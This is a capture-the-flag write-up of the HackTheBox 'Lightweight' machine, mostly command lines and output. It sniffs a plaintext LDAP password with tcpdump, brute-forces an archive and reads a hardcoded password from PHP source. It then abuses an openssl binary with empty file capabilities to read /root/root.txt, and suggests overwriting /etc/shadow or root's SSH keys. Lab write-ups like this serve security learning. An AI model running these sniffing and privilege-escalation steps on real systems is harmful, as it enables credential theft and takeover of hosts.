HTB Writeup: Lightweight
Posted on Fri 22 February 2019 in Writeups
OS | Linux | |
Author | m0xEA31 | |
Difficulty | Medium | |
Points | 30 | |
Released | 08-12-2018 | |
IP | 10.10.10.119 |
Summary
User flag is obtainable after leveraging misconfigured OpenLDAP (plaintext authentication). Root flag is accessible after leveraging another misconfiguration - wrongly set capabilities for openssl binary.
Reconnaissance
Again, I started with basic nmap numeration. You can read more about my methodology in previous articles (e.g. Ypuffy writeup). This host had only 3 ports open to public.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
OpenSSH in this version supposedly allows to enumerate users (CVE-2018-15473, CVE-2018-15919). It might be handy in the future.
Apache in version 2.4.6 does not seems to have serious vulnerabilities (excluding DoS). Visiting default site shows us website created using Slendr with warning about presence of brutforce protecion mechanism.
Further browsing give us an idea how to obtain first shell.
It is worth notice strangly long response time while viting Status
page.
I also complete basic OpenLDAP enumeration using nmap.
root@kali:~/HTB_machines/10.10.10.119# nmap -T4 --script=ldap* -p389 10.10.10.119
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-21 15:50 CET
Nmap scan report for 10.10.10.119
Host is up (0.024s latency).
PORT STATE SERVICE
389/tcp open ldap
| ldap-rootdse:
| LDAP Results
| <ROOT>
| namingContexts: dc=lightweight,dc=htb
| supportedControl: 2.16.840.1.113730.3.4.18
| supportedControl: 2.16.840.1.113730.3.4.2
| supportedControl: 1.3.6.1.4.1.4203.1.10.1
| supportedControl: 1.3.6.1.1.22
| supportedControl: 1.2.840.113556.1.4.319
| supportedControl: 1.2.826.0.1.3344810.2.3
| supportedControl: 1.3.6.1.1.13.2
| supportedControl: 1.3.6.1.1.13.1
| supportedControl: 1.3.6.1.1.12
| supportedExtension: 1.3.6.1.4.1.1466.20037
| supportedExtension: 1.3.6.1.4.1.4203.1.11.1
| supportedExtension: 1.3.6.1.4.1.4203.1.11.3
| supportedExtension: 1.3.6.1.1.8
| supportedLDAPVersion: 3
|_ subschemaSubentry: cn=Subschema
| ldap-search:
| Context: dc=lightweight,dc=htb
| dn: dc=lightweight,dc=htb
| objectClass: top
| objectClass: dcObject
| objectClass: organization
| o: lightweight htb
| dc: lightweight
| dn: cn=Manager,dc=lightweight,dc=htb
| objectClass: organizationalRole
| cn: Manager
| description: Directory Manager
| dn: ou=People,dc=lightweight,dc=htb
| objectClass: organizationalUnit
| ou: People
| dn: ou=Group,dc=lightweight,dc=htb
| objectClass: organizationalUnit
| ou: Group
| dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
| uid: ldapuser1
| cn: ldapuser1
| sn: ldapuser1
| mail: ldapuser1@lightweight.htb
| objectClass: person
| objectClass: organizationalPerson
| objectClass: inetOrgPerson
| objectClass: posixAccount
| objectClass: top
| objectClass: shadowAccount
| userPassword: {crypt}$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/
| shadowLastChange: 17691
| shadowMin: 0
| shadowMax: 99999
| shadowWarning: 7
| loginShell: /bin/bash
| uidNumber: 1000
| gidNumber: 1000
| homeDirectory: /home/ldapuser1
| dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
| uid: ldapuser2
| cn: ldapuser2
| sn: ldapuser2
| mail: ldapuser2@lightweight.htb
| objectClass: person
| objectClass: organizationalPerson
| objectClass: inetOrgPerson
| objectClass: posixAccount
| objectClass: top
| objectClass: shadowAccount
| userPassword: {crypt}$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1
| shadowLastChange: 17691
| shadowMin: 0
| shadowMax: 99999
| shadowWarning: 7
| loginShell: /bin/bash
| uidNumber: 1001
| gidNumber: 1001
| homeDirectory: /home/ldapuser2
| dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb
| objectClass: posixGroup
| objectClass: top
| cn: ldapuser1
| userPassword: {crypt}x
| gidNumber: 1000
| dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb
| objectClass: posixGroup
| objectClass: top
| cn: ldapuser2
| userPassword: {crypt}x
|_ gidNumber: 1001
Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds
So now we have several more information. We know that there most likely are two users present (it could be confirmed with OpenSSH bug) with coresponding hashed password.
ldapuser1:$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/ ldapuser2:$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1
Unix shadow format tells us that these password where hashed using SHA-512 with 8 characters salt. So it is not looking good from attacker point of view. Nevertheless I used small dictonary with hashcat but with no luck.
It is time to check if new user was really added to the box as the http://10.10.10.119/user.php
page stated.
root@kali:~/HTB_machines/10.10.10.119# ssh 10.10.14.16@10.10.10.119
10.10.14.16@10.10.10.119's password:
[10.10.14.16@lightweight ~]$ id
uid=1003(10.10.14.16) gid=1003(10.10.14.16) groups=1003(10.10.14.16) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[10.10.14.16@lightweight ~]$ pwd
/home/10.10.14.16
[10.10.14.16@lightweight ~]$ ls -la /home
total 0
drwxr-xr-x. 6 root root 77 Feb 22 10:40 .
dr-xr-xr-x. 17 root root 224 Jun 13 2018 ..
drwx------. 4 10.10.14.16 10.10.14.16 91 Feb 22 11:15 10.10.14.16
drwx------. 4 10.10.14.2 10.10.14.2 91 Nov 16 22:39 10.10.14.2
drwx------. 4 ldapuser1 ldapuser1 181 Jun 15 2018 ldapuser1
drwx------. 4 ldapuser2 ldapuser2 197 Jun 21 2018 ldapuser2
[10.10.14.16@lightweight ~]$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
libstoragemgmt:x:998:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
chrony:x:997:995::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
ldap:x:55:55:OpenLDAP server:/var/lib/ldap:/sbin/nologin
saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin
ldapuser1:x:1000:1000::/home/ldapuser1:/bin/bash
ldapuser2:x:1001:1001::/home/ldapuser2:/bin/bash
10.10.14.2:x:1002:1002::/home/10.10.14.2:/bin/bash
10.10.14.16:x:1003:1003::/home/10.10.14.16:/bin/bash
Well it did! And we confirmed that ldapuser1
and ldapuser2
exists.
Exploitation
So if we have shell lets look around. I used linux-enum-mod.sh with my little modifications. It shows me bunch of useful things. Two of them espesially cought my eye. Netstat output:
###############################################################################################################################################################################
##
## Netstat
##
###############################################################################################################################################################################
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:389 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 3748 10.10.10.119:22 10.10.14.16:60568 ESTABLISHED -
tcp6 0 0 :::389 :::* LISTEN -
tcp6 0 0 :::111 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 0.0.0.0:806 0.0.0.0:* -
udp 0 0 127.0.0.1:323 0.0.0.0:* -
udp 0 0 0.0.0.0:111 0.0.0.0:* -
udp6 0 0 :::806 :::* -
udp6 0 0 ::1:323 :::* -
udp6 0 0 :::111 :::* -
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 *:806 *:*
udp UNCONN 0 0 127.0.0.1:323 *:*
udp UNCONN 0 0 *:111 *:*
udp UNCONN 0 0 :::806 :::*
udp UNCONN 0 0 ::1:323 :::*
udp UNCONN 0 0 :::111 :::*
tcp LISTEN 0 128 *:443 *:*
tcp LISTEN 0 128 *:389 *:*
tcp LISTEN 0 128 *:111 *:*
tcp LISTEN 0 128 *:80 *:*
tcp LISTEN 0 128 *:22 *:*
tcp ESTAB 0 4976 10.10.10.119:22 10.10.14.16:60568
tcp LISTEN 0 128 :::389 :::*
tcp LISTEN 0 128 :::111 :::*
tcp LISTEN 0 128 :::22 :::*
and checking linux capabilities
find / -type f -print0 2>/dev/null | xargs -0 getcap 2>/dev/null
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
I saw that there is some process listening on port TCP/443
. And that my user can use tcpdump.
[10.10.14.16@lightweight ~]$ ls -ls /usr/sbin/tcpdump
924 -rwxr-xr-x. 1 root root 942304 Apr 11 2018 /usr/sbin/tcpdump
Of course the easiest solustion would be to use suexec but I couldn't.
[10.10.14.16@lightweight ~]$ ls -la /usr/sbin/suexec
-r-x--x---. 1 root apache 15448 Apr 20 2018 /usr/sbin/suexec
So I set up listener and on second console I queried for status.php
page. However it most likely could
be done from remote host as well.
[10.10.14.16@lightweight ~]$ tcpdump -i lo tcp and not port 22 -w /tmp/file.pcap
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
^C49 packets captured
98 packets received by filter
0 packets dropped by kernel
[10.10.14.16@lightweight ~]$ curl -v -k -g 'https://127.1/status.php' -H 'Host: lightweight.htb'
* About to connect() to 127.1 port 443 (#0)
* Trying 127.0.0.1...
* Connected to 127.1 (127.0.0.1) port 443 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
* skipping SSL peer certificate verification
* SSL connection using TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
* Server certificate:
* subject: E=root@lightweight.htb,CN=lightweight.htb,OU=SomeOrganizationalUnit,O=SomeOrganization,L=SomeCity,ST=SomeState,C=--
* start date: Jun 07 20:23:41 2018 GMT
* expire date: Jun 07 20:23:41 2019 GMT
* common name: lightweight.htb
* issuer: E=root@lightweight.htb,CN=lightweight.htb,OU=SomeOrganizationalUnit,O=SomeOrganization,L=SomeCity,ST=SomeState,C=--
> GET /status.php HTTP/1.1
> User-Agent: curl/7.29.0
> Accept: */*
> Host: lightweight.htb
>
< HTTP/1.1 200 OK
< Date: Fri, 22 Feb 2019 12:23:47 GMT
< Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
< X-Powered-By: PHP/5.4.16
< Content-Length: 1052
< Content-Type: text/html; charset=UTF-8
<
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Lightweight slider evaluation page - slendr</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css">
<link rel='stylesheet prefetch' href='https://fonts.googleapis.com/css?family=Roboto:100,300'>
<link rel='stylesheet prefetch' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.5.0/css/font-awesome.min.css'>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div class="slider-content">
<div class="slider-box">
<h1>List of banned IPs</h1>
<p><i>You may or may not see this page when you are banned. </i><br><br>
<p><i>This page has been generated at 2019/02/22 12:24:27. Data is refreshed every minute.</i>
</p>
<p></p>
<p><br><br><a href="index.php">home</a> <a href="info.php">info</a> <a href="status.php">status</a> <a href="user.php">user</a></p>
</div>
</div>
</body>
</html>
* Connection #0 to host 127.1 left intact
Now lets check what we have captured.
[10.10.14.16@lightweight ~]$ strings /tmp/file.pcap
%o\e
_W8x"
F"kx
SomeState1
SomeCity1
SomeOrganization1
SomeOrganizationalUnit1
lightweight.htb1#0!
root@lightweight.htb0
180607202341Z
190607202341Z0
SomeState1
SomeCity1
SomeOrganization1
SomeOrganizationalUnit1
lightweight.htb1#0!
root@lightweight.htb0
!byNp;:
%Ll^
{NLl
i@D9
k<T;g
S-d'
U p=
%o\y
%o\b
uCX7.
L=gM+
%o\".
%o\}.
-uid=ldapuser2,ou=People,dc=lightweight,dc=htb
8bc8251332abe1d7f105d3e53ad39ac2
QuuB
-)}M
E3*[R2y
lyVouZ
g]Eo
ZSZx
dQd5
Bp7E
R-p9
:<lVx
3ABh
n]&,f]V
20i$.
_||R{q
{Z2B
bIO$X
%o\t
Hmm and what we have here:
- -uid=ldapuser2,ou=People,dc=lightweight,dc=htb
- 8bc8251332abe1d7f105d3e53ad39ac2
Look's interesting. Peek at pcap in Wireshark gives full answer - this is password for user ldapuser2
Lets use it to obtain user flag.
[10.10.14.16@lightweight ~]$ su ldapuser2
Password:
[ldapuser2@lightweight 10.10.14.16]$ id
uid=1001(ldapuser2) gid=1001(ldapuser2) groups=1001(ldapuser2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ldapuser2@lightweight 10.10.14.16]$ cd
[ldapuser2@lightweight ~]$ ls -la
total 1880
drwx------. 4 ldapuser2 ldapuser2 197 Jun 21 2018 .
drwxr-xr-x. 6 root root 77 Feb 22 10:40 ..
-rw-r--r--. 1 root root 3411 Jun 14 2018 backup.7z
-rw-------. 1 ldapuser2 ldapuser2 0 Jun 21 2018 .bash_history
-rw-r--r--. 1 ldapuser2 ldapuser2 18 Apr 11 2018 .bash_logout
-rw-r--r--. 1 ldapuser2 ldapuser2 193 Apr 11 2018 .bash_profile
-rw-r--r--. 1 ldapuser2 ldapuser2 246 Jun 15 2018 .bashrc
drwxrwxr-x. 3 ldapuser2 ldapuser2 18 Jun 11 2018 .cache
drwxrwxr-x. 3 ldapuser2 ldapuser2 18 Jun 11 2018 .config
-rw-rw-r--. 1 ldapuser2 ldapuser2 1520530 Jun 13 2018 OpenLDAP-Admin-Guide.pdf
-rw-rw-r--. 1 ldapuser2 ldapuser2 379983 Jun 13 2018 OpenLdap.pdf
-rw-r--r--. 1 root root 33 Jun 15 2018 user.txt
[ldapuser2@lightweight ~]$ cat user.txt
8XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX6
Post exploitation
Due to the fact that I saw capabilities set for suexec I assumed privilege escalation migth something to do with apache user. And if not, still if I would be able to execute code as apache I would be able to set SUID bit for my payload.
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
So I wanted to inspect existing php files.
[ldapuser2@lightweight ~]$ ls -la /var/www/html/
total 24
drwxr-xr-x. 4 root apache 146 Feb 22 14:37 .
drwxr-xr-x. 4 root root 33 Jun 21 2018 ..
-rw-r--r--. 1 root root 0 Feb 22 14:37 banned.txt
drwxr-xr-x. 2 root root 23 Jun 13 2018 css
-rw-r-----. 1 root apache 4218 Jun 13 2018 index.php
-rw-r-----. 1 root apache 1764 Jun 13 2018 info.php
drwxr-xr-x. 2 root root 22 Jun 13 2018 js
-rw-r-----. 1 root apache 1321 Jun 15 2018 reset.php
-rw-rw----. 1 root apache 0 Feb 22 14:37 reset_req
-rw-r-----. 1 root apache 2400 Jun 14 2018 status.php
-rw-r-----. 1 root apache 1528 Jun 13 2018 user.php
Unfortunately I couldn't even read those files.
Luckly in ldapuser2's home there was password protected archive - backup.7z
and
I was able to list its content.
root@kali:~/HTB_machines/10.10.10.119# 7z l backup.7z
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel Core Processor (Skylake, IBRS) (506E3),ASM,AES-NI)
Scanning the drive for archives:
1 file, 3411 bytes (4 KiB)
Listing archive: backup.7z
--
Path = backup.7z
Type = 7z
Physical Size = 3411
Headers Size = 259
Method = LZMA2:12k 7zAES
Solid = +
Blocks = 1
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2018-06-13 19:48:41 ....A 4218 3152 index.php
2018-06-13 19:47:14 ....A 1764 info.php
2018-06-10 16:08:57 ....A 360 reset.php
2018-06-14 20:06:33 ....A 2400 status.php
2018-06-13 19:47:46 ....A 1528 user.php
------------------- ----- ------------ ------------ ------------------------
2018-06-14 20:06:33 10270 3152 5 files
Good. Seems like this archive contains files I am interested with. Now I need to find the password. I started brutforcing it and meanwhile I look for it inside the machine.
root@kali:~/HTB_machines/10.10.10.119# ./7zip-jtr.sh backup.7z /usr/share/wordlists/metasploit/password.lst 2>/dev/null
7zip-JTR Decrypt Script
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Westmere E56xx/L56xx/X56xx (IBRS update) (206C1),ASM,AES-NI)
Scanning the drive for archives:
1 file, 3411 bytes (4 KiB)
Listing archive: backup.7z
--
Path = backup.7z
Type = 7z
Physical Size = 3411
Headers Size = 259
Method = LZMA2:12k 7zAES
Solid = +
Blocks = 1
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2018-06-13 19:48:41 ....A 4218 3152 index.php
2018-06-13 19:47:14 ....A 1764 info.php
2018-06-10 16:08:57 ....A 360 reset.php
2018-06-14 20:06:33 ....A 2400 status.php
2018-06-13 19:47:46 ....A 1528 user.php
------------------- ----- ------------ ------------ ------------------------
2018-06-14 20:06:33 10270 3152 5 files
Generating wordlist...
Archive password is: "delete"
Turned out brutforce was quicker.
After reading them, in status.php
I have found ldapuser1 password.
<?php
$username = 'ldapuser1';
$password = 'f3ca9d298a553da117442deeb6fa932d';
$ldapconfig['host'] = 'lightweight.htb';
$ldapconfig['port'] = '389';
$ldapconfig['basedn'] = 'dc=lightweight,dc=htb';
//$ldapconfig['usersdn'] = 'cn=users';
$ds=ldap_connect($ldapconfig['host'], $ldapconfig['port']);
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);
ldap_set_option($ds, LDAP_OPT_NETWORK_TIMEOUT, 10);
$dn="uid=ldapuser1,ou=People,dc=lightweight,dc=htb";
if ($bind=ldap_bind($ds, $dn, $password)) {
echo("<p><i>You may or may not see this page when you are banned. </i><br><br>");
} else {
echo("Unable to bind to server.</br>");
echo("msg:'".ldap_error($ds)."'</br>".ldap_errno($ds)."");
if ($bind=ldap_bind($ds)) {
$filter = "(cn=*)";
if (!($search=@ldap_search($ds, $ldapconfig['basedn'], $filter))) {
echo("Unable to search ldap server<br>");
echo("msg:'".ldap_error($ds)."'</br>");
} else {
$number_returned = ldap_count_entries($ds,$search);
$info = ldap_get_entries($ds, $search);
echo "The number of entries returned is ". $number_returned."<p>";
for ($i=0; $i<$info["count"]; $i++) {
var_dump($info[$i]);
}
}
} else {
echo("Unable to bind anonymously<br>");
echo("msg:".ldap_error($ds)."<br>");
}
}
?>
Lets use it to switch to this user.
[ldapuser2@lightweight ~]$ su - ldapuser1
Password:
[ldapuser1@lightweight ~]$ id
uid=1000(ldapuser1) gid=1000(ldapuser1) groups=1000(ldapuser1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ldapuser1@lightweight ~]$ ls -la
total 1496
drwx------. 4 ldapuser1 ldapuser1 181 Jun 15 2018 .
drwxr-xr-x. 6 root root 77 Feb 22 10:40 ..
-rw-------. 1 ldapuser1 ldapuser1 0 Jun 21 2018 .bash_history
-rw-r--r--. 1 ldapuser1 ldapuser1 18 Apr 11 2018 .bash_logout
-rw-r--r--. 1 ldapuser1 ldapuser1 193 Apr 11 2018 .bash_profile
-rw-r--r--. 1 ldapuser1 ldapuser1 246 Jun 15 2018 .bashrc
drwxrwxr-x. 3 ldapuser1 ldapuser1 18 Jun 11 2018 .cache
-rw-rw-r--. 1 ldapuser1 ldapuser1 9714 Jun 15 2018 capture.pcap
drwxrwxr-x. 3 ldapuser1 ldapuser1 18 Jun 11 2018 .config
-rw-rw-r--. 1 ldapuser1 ldapuser1 646 Jun 15 2018 ldapTLS.php
-rwxr-xr-x. 1 ldapuser1 ldapuser1 555296 Jun 13 2018 openssl
-rwxr-xr-x. 1 ldapuser1 ldapuser1 942304 Jun 13 2018 tcpdump
I once again used linux-enum-mod.sh and once again linux capabilities popped out, this time a little bit different.
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
/home/ldapuser1/tcpdump = cap_net_admin,cap_net_raw+ep
/home/ldapuser1/openssl =ep
From this point it was clear and simple.
Privilege escalation
Having blank capability set on openssl gives us endless possibilities. From manual:
- Set-user-ID-root programs that have file capabilities
- Executing a program that is both set-user-ID root and has file capa‐ bilities will cause the process to gain just the capabilities granted by the program (i.e., not all capabilities, as would occur when exe‐ cuting a set-user-ID-root program that does not have any associated file capabilities). Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID- root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process.
So we are able to run openssl with EUID 0. And openssl is very powerful tool. We can read
and write files by it. But I'm lazy and the goal is to read the contents of /root/root.txt
file so I quickly will go for it.
Firsly I needed to have valid ssl keys in order to setup ssl server.
[ldapuser1@lightweight ~]$ cd /dev/shm
[ldapuser1@lightweight shm]$ ls -la
total 0
drwxrwxrwt. 2 root root 40 Feb 18 01:03 .
drwxr-xr-x. 20 root root 3220 Feb 21 22:07 ..
[ldapuser1@lightweight shm]$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
Generating a 2048 bit RSA private key
.......................+++
...+++
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [XX]:
State or Province Name (full name) []:
Locality Name (eg, city) [Default City]:
Organization Name (eg, company) [Default Company Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (eg, your name or your server's hostname) []:
Email Address []:
[ldapuser1@lightweight shm]$ ls
cert.pem key.pem
Then lets start openssl in s_server
mode.
[ldapuser1@lightweight shm]$ cd /
[ldapuser1@lightweight /]$ /home/ldapuser1/openssl s_server -key /dev/shm/key.pem -cert /dev/shm/cert.pem -port 1234 -HTTP
And just read content of root flag.
[10.10.14.16@lightweight ~]$ curl -v -k -g 'https://127.1:1234/root/root.txt'
* About to connect() to 127.1 port 1234 (#0)
* Trying 127.0.0.1...
* Connected to 127.1 (127.0.0.1) port 1234 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
* skipping SSL peer certificate verification
* SSL connection using TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
* Server certificate:
* subject: O=Default Company Ltd,L=Default City,C=XX
* start date: Feb 21 23:49:20 2019 GMT
* expire date: Feb 21 23:49:20 2020 GMT
* common name: (nil)
* issuer: O=Default Company Ltd,L=Default City,C=XX
> GET /root/root.txt HTTP/1.1
> User-Agent: curl/7.29.0
> Host: 127.1:1234
> Accept: */*
>
fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXa
* Connection #0 to host 127.1 left intact
Voilà.
Root shell
If we would like to have full root shell we can utilize openssl in encryption mode to write new
/ect/shadow
or /root/.ssh/id_rsa.pub
files, e.g.
openssl aes-256-cbc -d -a -in secrets.txt.enc -out /root/.ssh/id_rsa.pub